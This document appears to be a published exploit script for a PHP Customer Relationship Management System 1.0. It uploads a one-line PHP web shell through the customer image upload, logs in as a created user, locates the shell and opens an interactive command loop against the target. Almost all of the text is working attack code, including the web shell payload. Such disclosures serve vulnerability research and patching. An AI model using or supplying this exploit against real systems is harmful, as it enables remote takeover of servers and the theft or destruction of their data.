Customer Relationship Management System (CRM) 1.0 - Remote Code Execution

# Exploit Title: Customer Relationship Management System (CRM) 1.0 - Remote Code Execution
# Date: 21.06.2021
# Exploit Author: Ishan Saha
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/crm_0.zip
# Version: 1.x
# Tested on: Ubuntu

# REQUREMENTS # 
#     run pip3 install requests colorama beautifulsoup4

# DESCRIPTION #

#    # Customer relationship management system is vulnerable to malicious file upload on account update option & customer create option

#    # Exploit Working:
#    # 1. Starting a session with the server 
#    # 2. Registering a user hackerctf : hackerctf and adding payload in image
#    # 3. Finding the uploaded file location in the username image tag 
#    # 4. Runing the payload file  to give a shell


#!/usr/bin/python3
import requests , time
from bs4 import BeautifulSoup as bs
from colorama import Fore, Back, Style

# Variables : change the URL according to need
URL="http://192.168.0.245/crm/"                     # CHANGE THIS 
shellcode = "<?php system($_GET['cmd']);?>"
filename = "shell.php"
content_data = {"id":"","firstname":"ishan","lastname":"saha","username":"hackerctf","password":"hackerctf"}
authdata={"username":"hackerctf","password":"hackerctf"}
def format_text(title,item):
  cr = '\r\n'
  section_break=cr + '*'*(len(str(item))+len(title)+ 3) + cr 
  item=str(item)
  text= Fore.YELLOW +section_break + Style.BRIGHT+ Fore.RED + title + Fore.RESET +" : "+  Fore.BLUE + item + Fore.YELLOW + section_break + Fore.RESET
  return text

ShellSession = requests.Session()
response = ShellSession.post(URL+"classes/Users.php?f=create_customer",data=content_data ,files={"img":(filename,shellcode,"application/php")})
response = ShellSession.post(URL+"classes/Login.php?f=clogin",data=authdata)
response = ShellSession.get(URL + "customer/")
soup = bs(response.text,"html.parser")
location= soup.find('img')['src']

#print statements
print(format_text("Target",URL),end='')
print(format_text("Shell Upload","success" if response.status_code ==200 else "fail"),end='')
print(format_text("shell location",location),end='')
print(format_text("Initiating Shell","[*]Note- This is a custom shell, upgrade to NC!"))

while True:
    cmd = input(Style.BRIGHT+ Fore.RED+"SHELL>>> "+ Fore.RESET)
    if cmd == 'exit':
        break
    print(ShellSession.get(location + "?cmd="+cmd).content.decode())